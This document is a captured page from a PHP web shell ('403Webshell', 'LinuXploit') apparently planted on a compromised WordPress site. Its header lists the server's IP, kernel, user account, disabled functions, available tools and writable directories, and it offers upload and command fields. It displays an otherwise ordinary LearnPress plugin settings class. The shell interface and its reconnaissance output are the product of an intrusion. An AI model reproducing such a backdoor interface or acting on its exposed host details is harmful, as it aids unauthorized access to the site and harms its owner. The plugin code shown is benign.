403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress/inc/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress/inc/settings/abstract-settings-page.php
<?php
/**
 * Class LP_Abstract_Settings_Page
 *
 * @author  ThimPress
 * @package LearnPress/Classes
 * @version 1.0
 */

defined( 'ABSPATH' ) || exit;

class LP_Abstract_Settings_Page extends LP_Abstract_Settings {

	/**
	 * Tab's ID
	 *
	 * @var string
	 */
	public $id = '';

	/**
	 * Tab's text
	 *
	 * @var string
	 */
	public $text = '';

	/**
	 * Constructor
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Display admin page in LP4.
	 *
	 * @param string $section
	 * @param string $tab
	 * @version 4.0.0
	 */
	public function admin_page_settings( $section = null, $tab = '' ) {
		wp_enqueue_style( 'select2' );
		$settings = $this->get_settings( $section, $tab );
		$settings = $this->sanitize_settings( $settings );

		do_action( 'learn-press/settings-render' );

		if ( $settings ) {
			LP_Meta_Box_Helper::output_fields( $settings );
		} else {
			echo esc_html__( 'No settings available.', 'learnpress' );
		}
	}

	/**
	 * Save option in LP4.
	 *
	 * @param string $section
	 * @param string $tab
	 * @version 4.0.0
	 */
	public function save_settings( $section = null, $tab = '' ) {
		$settings = apply_filters( 'learn-press/admin/get-settings/admin-options-' . $section, $this->get_settings( $section, $tab ) );
		$settings = $this->sanitize_settings( $settings );

		if ( $settings ) {
			LP_Meta_Box_Helper::save_fields( $settings, $_POST );
		}
	}

	/**
	 * Get name for field
	 *
	 * @param $name
	 *
	 * @return mixed
	 */
	public function get_field_name( $name ) {
		$field_name = apply_filters( 'learn_press_settings_field_name_' . $name, "learn_press_{$name}" );

		return $field_name;
	}

	/**
	 * Get ID for field
	 *
	 * @param $name
	 *
	 * @return mixed
	 */
	public function get_field_id( $name ) {
		return preg_replace( array( '!\[|(\]\[)!', '!\]!' ), array( '_', '' ), $this->get_field_name( $name ) );
	}

	public function get_sections() {
		return array();
	}

	/**
	 * @param string $section
	 * @param string $tab
	 *
	 * @return bool|mixed
	 */
	public function get_settings( $section = '', $tab = '' ) {
		if ( ! $section ) {
			$section = $this->get_sections();
			$section = array_keys( $section );
		}

		settype( $section, 'array' );

		$return = array();

		foreach ( $section as $sec ) {
			if ( is_callable( array( $this, 'get_settings_' . $sec ) ) ) {
				$settings = call_user_func( array( $this, 'get_settings_' . $sec ) );

				if ( $settings ) {
					$return = array_merge( $return, $settings );
				}
			}
		}

		return $return;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit